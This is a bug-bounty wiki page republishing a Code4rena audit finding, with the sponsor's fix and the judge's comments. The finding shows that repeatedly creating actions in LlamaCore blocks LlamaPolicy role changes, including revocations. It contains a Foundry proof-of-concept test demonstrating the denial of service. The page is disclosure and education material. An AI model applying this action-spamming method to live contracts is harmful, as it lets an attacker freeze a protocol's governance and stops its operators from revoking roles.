Skip to content
DoS Audit finding Intermediate

LlamaPolicy could be DOS by creating large amount of actions

The LlamaPolicy contract prevents role changes if an action was created in the same block, but LlamaCore does not limit how many actions a user can create. An attacker with the createAction role could create many actions to block role updates, causing a denial of service.

ktg Follow with auditor0517, BLOS and 4 others

Originally disclosed on Code4rena

Submitted by ktg, also found by auditor0517, BLOS, Atree, Toshii, xuwinnie, and 0xnev

https://github.com/code-423n4/2023-06-llama/blob/main/src/LlamaPolicy.sol#L404-#L409 https://github.com/code-423n4/2023-06-llama/blob/main/src/LlamaCore.sol#L516-#L562

Proof of Concept

Currently, when Executor want to set role for a user, he call function LlamaPolicy._setRoleHolder, this in turn will first call function _assertNoActionCreationsAtCurrentTimestamp:

/// @dev Because role supplies are not checkpointed for simplicity, the following issue can occur
  /// if each of the below is executed within the same timestamp:
  //    1. An action is created that saves off the current role supply.
  //    2. A policyholder is given a new role.
  //    3. Now the total supply in that block is different than what it was at action creation.
  // As a result, we disallow changes to roles if an action was created in the same block.
  function _assertNoActionCreationsAtCurrentTimestamp() internal view {
    if (llamaExecutor == address(0)) return; // Skip check during initialization.
    address llamaCore = LlamaExecutor(llamaExecutor).LLAMA_CORE();
    uint256 lastActionCreation = LlamaCore(llamaCore).getLastActionTimestamp();
    if (lastActionCreation == block.timestamp) revert ActionCreationAtSameTimestamp();
  }

As stated in the comment, the protocol disallows changes to roles if an action was created in the same block. However, function LlamaCore._createAction does not limit the number of actions a user could create. Consequently, a user with createAction role can DOS protocol’s policy by creating large amount of actions. A user can create 24 * 3600 * 30 ~ 2.5 mils actions to DOS a system in a month, this is definitely a not too big number, especially when the protocol is deployed in low fee blockchains. (I notice that the folder script is organized as script/input/{blockchainId}/*.json so I assume that the protocol will be used across different blockchains).

This will prevents the revoking of expired roles, revoke policy,… because they all use _setRoleHolder function.

Below is a POC, for ease of testing, place this test case under file LlamaStrategy.t.sol, contract IsActionApproved:

function testDOSByCreatingManyAction() public {
    ILlamaStrategy testStrategy = deployTestStrategy();
    uint256 numberOfHolders = 10;
    generateAndSetRoleHolders(numberOfHolders);

    // create action
    bytes32 newPermissionId = keccak256(abi.encode(address(mockProtocol), PAUSE_SELECTOR, testStrategy));
    vm.prank(address(mpExecutor));
    mpPolicy.setRolePermission(uint8(Roles.ActionCreator), newPermissionId, true);
    bytes memory data = abi.encodeCall(MockProtocol.pause, (true));
    vm.prank(actionCreatorAaron);
    uint256 actionId = mpCore.createAction(uint8(Roles.ActionCreator), testStrategy, address(mockProtocol), 0, data, "");
    console.logUint(actionId);
    // revert if we try to set role
    vm.prank(address(mpExecutor));
    vm.expectRevert(LlamaPolicy.ActionCreationAtSameTimestamp.selector);
    mpPolicy.setRoleHolder(uint8(Roles.TestRole1), address(12345), 1, type(uint64).max);

    // Pass time
    vm.warp(block.timestamp + 1);

    // Create action again
    vm.prank(actionCreatorAaron);
    actionId = mpCore.createAction(uint8(Roles.ActionCreator), testStrategy, address(mockProtocol), 0, data, "");
    console.logUint(actionId);
    // policy can't set role again
    vm.prank(address(mpExecutor));
    vm.expectRevert(LlamaPolicy.ActionCreationAtSameTimestamp.selector);
    mpPolicy.setRoleHolder(uint8(Roles.TestRole1), address(12345), 1, type(uint64).max);

  }

Recommended Mitigation Steps

I recommend limiting the number of active actions a user can create.

AustinGreen (Llama) confirmed and commented:

We are tracking the issue here and deciding on a fix: https://github.com/llamaxyz/llama/issues/393

This is a duplicate of https://github.com/code-423n4/2023-06-llama-findings/issues/209

gzeon (Judge) commented:

Keeping this as M given this is a valid DOS vector and the cost to DOS is linear. There are EVM chains with low enough gas fee which can make this a feasible attack.

AustinGreen (Llama) commented:

We addressed this issue by adding an additional checkpoint that strategies can use to get a (dis)approval role’s total number of holders and total quantity in the past. This allowed us to remove the _assertNoActionCreationsAtCurrentTimestamp check.


The original report as published on Code4rena, by ktg. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the design that disallows role changes when an action is created in the same block, combined with no limit on action creation, allows an attacker to continuously block role updates.

Impact

An attacker with the createAction role could block role changes, preventing revocation of expired roles and other policy updates, causing a denial of service; the cost is linear and feasible on low-fee blockchains.

What the attacker needed

Attacker has createAction role; low gas fees on the blockchain

The fix

The issue was fixed by adding an additional checkpoint that strategies can use to get a (dis)approval role’s total number of holders and total quantity in the past, allowing removal of the timestamp check.

How it was found

  1. Create an action using the createAction function.
  2. Attempt to set a role holder, which reverts due to the same timestamp check.
  3. Advance time by one second.
  4. Create another action.
  5. Attempt to set a role holder again, which reverts again.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A smart contract lets users create actions, but it also blocks changing roles if an action was made in the same block. An attacker can keep creating actions every block, so role changes are always blocked, stopping the system from updating permissions.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by ktg

View all

10 more disclosed reports, best first.

More from Llama

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.